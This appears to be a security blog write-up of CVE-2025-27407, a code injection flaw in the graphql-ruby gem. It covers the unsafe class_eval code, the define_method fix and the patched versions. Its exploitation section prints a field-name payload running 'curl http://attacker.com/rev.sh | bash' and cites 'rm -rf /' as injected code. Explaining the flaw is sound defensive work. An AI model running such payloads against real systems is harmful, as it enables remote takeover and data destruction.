Feb 21, 2026·5 min read·15 visits
The `graphql-ruby` gem used `class_eval` with string interpolation to generate methods from schema names. An attacker can supply a malicious introspection JSON (e.g., a field name containing Ruby code) which the library blindly executes. This results in full RCE. Patch immediately to versions ending in .8, .25, .24, .32, .14, .17, or .21 depending on your minor version.
A critical Remote Code Execution (RCE) vulnerability in the popular `graphql-ruby` gem allows attackers to execute arbitrary Ruby commands by providing a malicious GraphQL schema. The flaw lies in the library's use of unsafe metaprogramming—specifically string interpolation within `class_eval`—when processing introspection data. This affects any application that dynamically loads GraphQL schemas from untrusted sources, turning a standard schema definition into a weaponized payload.
GraphQL is fantastic. It lets you ask for exactly what you want. But sometimes, developers want more. They want their applications to dynamically understand other GraphQL APIs. Enter GraphQL::Schema.from_introspection. This handy method takes a JSON dump of a schema (the result of an introspection query) and magically rebuilds Ruby classes and objects to represent it. It’s the backbone of dynamic clients like graphql-client.
Here’s the rub: In the world of security, "dynamic" is often a polite synonym for "dangerous." When your application ingests a schema definition from a remote server, it is trusting that server not to lie about what a User type looks like. But what if the remote server isn't just lying? What if it's weaponizing the very names of the fields it defines?
CVE-2025-27407 is the result of that trust being misplaced. It turns out that graphql-ruby wasn't just reading the schema; it was taking the text from that schema and feeding it directly into the Ruby interpreter. If you point your vulnerable GraphQL client at my malicious server, I don't just send you a schema—I send you a shell.
If you've spent any time in the Ruby community, you know the mantra: Eval is Evil. Yet, the allure of metaprogramming is too strong for many library authors to resist. It’s cleaner, they say. It’s faster, they claim.
The root cause of this vulnerability is a textbook case of Code Injection via class_eval. When graphql-ruby parsed the introspection JSON, it needed to create accessor methods for the fields and arguments defined in that schema. To do this, it constructed a string of Ruby code and executed it.
The library assumed that a GraphQL field name would be something innocent like firstName or email. It did not anticipate that an attacker might name a field firstName; system('rm -rf /');. Because the library took these names and interpolated them directly into a code string, the Ruby interpreter didn't see a weird field name; it saw a command delimiter (;) followed by valid Ruby code waiting to be executed.
Let's look at the crime scene. In lib/graphql/schema/input_object.rb (and similar locations), the library was generating methods dynamically.
The Vulnerable Code:
# The variable 'method_name' comes directly from the JSON input
method_name = argument_defn.keyword
# The Fatal Flaw: String interpolation inside class_eval
class_eval <<-RUBY, __FILE__, __LINE__
def #{method_name}
self[#{method_name.inspect}]
end
RUBYDo you see it? The #{method_name} is injected directly into the string definition of the method. If I control method_name, I control the class definition.
The Fix:
The maintainers patched this by removing the string interpolation entirely. Instead of writing code as a string and evaluating it, they switched to block-based metaprogramming using define_method. This treats the method name as a symbol/literal, not executable code.
# The Safe Approach
def define_accessor_method(method_name)
# define_method takes a block; no string parsing happens here
define_method(method_name) { self[method_name] }
alias_method(method_name, method_name)
endFurthermore, they added NameValidator.validate! to ensure that identifiers actually look like GraphQL names (alphanumeric with underscores) before doing anything with them. It's a classic defense-in-depth strategy: sanitize the input and use safe APIs.
To exploit this, we don't need a complex buffer overflow or heap spray. We just need to speak JSON. The attack vector is strictly the Introspection Query Result.
Imagine a scenario where a developer creates a script to update their API client:
# Victim Script
require 'graphql/client'
schema = GraphQL::Client.load_schema("http://attacker.com/graphql")The Attack Chain:
Setup: The attacker sets up a rogue GraphQL server (or compromises a legitimate one).
The Trap: When the victim requests the introspection query, the attacker returns a JSON where a field name contains the payload.
The Payload: We need to close the method definition and inject our code.
Value for keyword: foo; + system("curl http://attacker.com/rev.sh | bash"); + def bar
Execution: The vulnerable library interpolates this. The resulting code evaluated by Ruby looks roughly like this:
def foo; system("curl http://attacker.com/rev.sh | bash"); def bar
self["foo...".inspect]
endThe system call executes immediately when the class is being defined—not when the method is called. This means simply loading the schema triggers the RCE. The victim doesn't even need to query the API; the initialization phase is enough to own the box.
This is a Critical (9.1) vulnerability for a reason. It requires no authentication and no user interaction other than the application performing its normal startup or configuration routines.
Scope of Damage:
The fix is straightforward: Update the gem. The maintainers have backported fixes to almost every supported version branch.
Patched Versions:
If you cannot upgrade immediately, you must ensure that GraphQL::Schema.from_introspection and GraphQL::Schema::Loader.load are never called with data from untrusted sources. Treat your schema definitions with the same suspicion you treat user input. Because in this case, that's exactly what they are.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
graphql graphql-ruby | >= 1.11.5, < 1.11.8 | 1.11.8 |
graphql graphql-ruby | >= 1.12.0, < 1.12.25 | 1.12.25 |
graphql graphql-ruby | >= 2.3.0, < 2.3.21 | 2.3.21 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-94 (Code Injection) |
| CVSS v3.1 | 9.1 (Critical) |
| Attack Vector | Network (Remote Schema Load) |
| Affected Component | GraphQL::Schema.from_introspection |
| Privileges Required | None |
| Exploit Status | PoC Available / High Risk |
Improper Control of Generation of Code ('Code Injection')